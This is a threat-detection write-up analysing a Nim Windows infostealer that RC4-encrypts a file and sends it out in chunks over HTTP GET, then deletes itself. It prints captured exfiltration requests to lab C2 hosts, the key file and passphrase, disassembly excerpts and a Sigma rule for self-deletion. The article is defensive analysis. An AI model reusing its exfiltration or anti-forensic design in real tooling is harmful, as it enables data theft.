Anatomy of a Nim Infostealer

Tracing exfiltration and self-deletion through static, dynamic and advanced static analysis

Vasilis Mantas — Threat Detection Engineer

Verdict: A 64-bit Windows infostealer written in Nim. It reads a target file from disk, encrypts the contents with RC4 using a key it collects at runtime, and exfiltrates the ciphertext in chunks over plain HTTP GET requests to a hardcoded C2 domain. It establishes no persistence. Instead it does the opposite, it deletes itself from disk on every exit path, whether it succeeds, fails, or is interrupted.

This walkthrough covers the full triage chain on a single sample: basic static, basic dynamic, and advanced static analysis. The interesting part is not that the binary steals data. It is how thoroughly it removes itself afterwards, and what that leaves behind for a defender to detect.

A note on provenance: this sample comes from a training set, not from a live incident. The methodology and the detection logic are the point, not attribution.

Sample details

Vendor labels clustered around backdoor and Meterpreter-style naming, which suggested remote access or reverse shell capability. That turned out to be wrong, and it is worth saying so plainly: vendor labels are a starting hypothesis, not a finding. The sample is a stealer, not a backdoor.

Basic static analysis

Running FLOSS against the binary rather than plain strings surfaces stack and obfuscated strings that a naive extraction misses:

FLOSS.exe unknown.exe.malz > output.txt

The output is dominated by nim imports, which is a strong indication the binary was compiled from Nim. That matters practically: Nim binaries carry a large runtime, produce unfamiliar symbol names, and are handled poorly by some decompilers. Knowing the source language early saves an hour of confusion later. The alternative — that an author deliberately salted the strings to look like Nim, is possible but expensive, and nothing later in the analysis supported it.

PEStudio gave the structural picture:

The winim manifest identity is the Nim library that wraps the Windows API, consistent with the string evidence. The network and file API clusters are the first hint at the sample's actual function: it touches files and it talks over the network.

Basic dynamic analysis

The first detonation, with no network simulation running, produced an unhelpful result, the binary deleted itself a few seconds after execution.

That behaviour is itself a finding. A sample that removes itself when it cannot reach the network is checking for connectivity and bailing out. It also means every subsequent detonation needs REMnux running inetsim first, or there is nothing to observe.

With inetsim providing fake DNS and HTTP, and Wireshark capturing, the picture filled in. The sample completes a TCP three-way handshake and issues an initial callback:

GET / HTTP/1.1
Host: update.ec12-4-109-278-3-ubuntu20-04.local
User-Agent: Mozilla/5.0

It then begins feeding data to a second URI:

GET /feed?post=A8E437E8F0367592569A2870BBDD382A1DFBB01A15FC23999D7788C33502A...
Host: cdn.altimiter.local

Two details are worth pulling out.

First, the long hexadecimal blob in the query string is the exfiltration channel. Data is not POSTed; it is encoded into a GET parameter and sent in pieces. This is deliberately unremarkable traffic, outbound HTTP GETs to a CDN-looking hostname are exactly what a proxy log is full of.

Second, the initial callback URI does not appear anywhere in the strings output. It is concatenated at runtime. Any detection or hunting approach that relies on matching static strings against known-bad domains would have missed this one entirely.

Procmon then confirmed the file interaction:

Operation is CreateFile, Process Name is unknown.exe
→ C:\Users\Public\passwrd.txt   SUCCESS

Notably absent: no startup folder writes, no Run key modification, no scheduled task, no service creation. The binary establishes no persistence mechanism at all.

Advanced static analysis

Loading the binary into Cutter and searching the symbol table for the toRC4 method seen in the strings output gave the pivot point:

[0x00409ab2]
toRC4__OOZOOZOOZOOZOOZOOnimbleZpkgsZ82675245480490482826752_51 (int64_t arg1, int64_t arg2)
    ...
    call  genKeystream__OOZOOZOOZOOZOOZOOnimbleZpkgs...

RC4 is a stream cipher, so its presence tells us the exfiltrated data is encrypted rather than sent in the clear. That explains the hex blob in the GET parameter.

Following the cross-references, toRC4 is called from a method named StealStuff, and the call sits inside a loop. That single structural observation explains the traffic pattern: the sample reads its target, encrypts it in chunks, and sends each chunk as a separate request. The loop in the disassembly and the repeated GETs in the packet capture are the same behaviour viewed from two angles.

The key comes from C:\Users\Public\passwrd.txt, which contains the single string SikoMode, the RC4 passphrase, read from disk at runtime rather than embedded in the binary.

The killswitch and the self-delete

Nim binaries expose three entry-adjacent methods: NimMain, NimMainInner and NimMainModule. The interesting logic lives in NimMainModule:

[0x00417913]
call  nosgetCurrentDir
lea   rcx, [0x00439c58]
call  asgnRef
call  checkKillSwitchURL__sikomode_25
mov   byte [0x00439be4], al
test  al, al
jne   0x417940

checkKillSwitchURL returns a boolean. If the URL is unreachable, execution branches to a method named houdini, appropriately, since it makes the binary disappear.

Tracing the graph further shows houdini is not only reached on failure. It is called when the DNS request fails on execution, when execution is interrupted at any point, and when the sample finishes exfiltrating everything it was written to collect. Every path terminates in self-deletion.

This is a deliberate anti-forensic design. The operator accepts losing reinfection capability in exchange for leaving no binary on disk for a responder to find. It reframes what detection has to look for.

Indicators of compromise

MITRE ATT&CK mapping

Detection guidance

Most write-ups stop at the IOC table. IOCs age badly — the hash changes on recompile and the domains are burned the moment they are published. The behaviour is what persists, so here is what to actually detect.

1. Self-deletion of a running executable. The strongest signal, because it is unusual for benign software and this sample does it unconditionally. The canonical implementation is a process spawning a command interpreter that deletes the parent's own image path.

title: Executable Deletes Itself After Execution
status: experimental
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    Image|endswith:
      - '\cmd.exe'
      - '\powershell.exe'
    CommandLine|contains:
      - 'del '
      - 'Remove-Item'
  parent_in_temp:
    ParentImage|contains:
      - '\Users\'
      - '\Temp\'
  condition: selection and parent_in_temp
falsepositives:
  - Installers and self-extracting archives cleaning up
level: medium

2. High-entropy data in outbound HTTP GET query parameters. The exfiltration channel is a long hex string in a URI. Proxy or firewall logs will show it. Threshold on query-string length and character-class distribution rather than on the domain, since the domain is disposable.

3. Unexpected reads of files in C:\Users\Public. The sample sourced its encryption key from a world-readable location. That directory is rarely touched by legitimate user processes and makes a low-noise hunting ground.

4. Beacon-shaped repetition. The chunked exfiltration produces many similar-length requests to one host in a short window. Summarising outbound requests by destination and counting near-identical URI structures surfaces this regardless of what the domain is called.

Detection hypotheses need validating against your own telemetry before they go into production. Treat the rule above as a starting point and tune the parent-process conditions to your environment.

Analyst takeaways

Three things from this sample are worth carrying forward.

Vendor labels are a hypothesis. Thirty-seven engines suggested backdoor. The sample is a stealer with no remote access capability whatsoever. Reading the labels as a conclusion would have sent the entire analysis in the wrong direction.

Absence of persistence is a finding, not a dead end. When a sample deliberately leaves nothing behind, detection has to move up the stack, to network behaviour and to the act of removal itself.

Runtime string construction defeats static matching. The first C2 domain existed nowhere in the binary. Any pipeline that only diffs extracted strings against a blocklist would have reported this file as clean on that dimension.

Written by Vasilis Mantas, Senior Threat Detection Engineer. Analysis performed in an isolated lab using FlareVM, REMnux, FLOSS, PEStudio, Wireshark, Procmon and Cutter.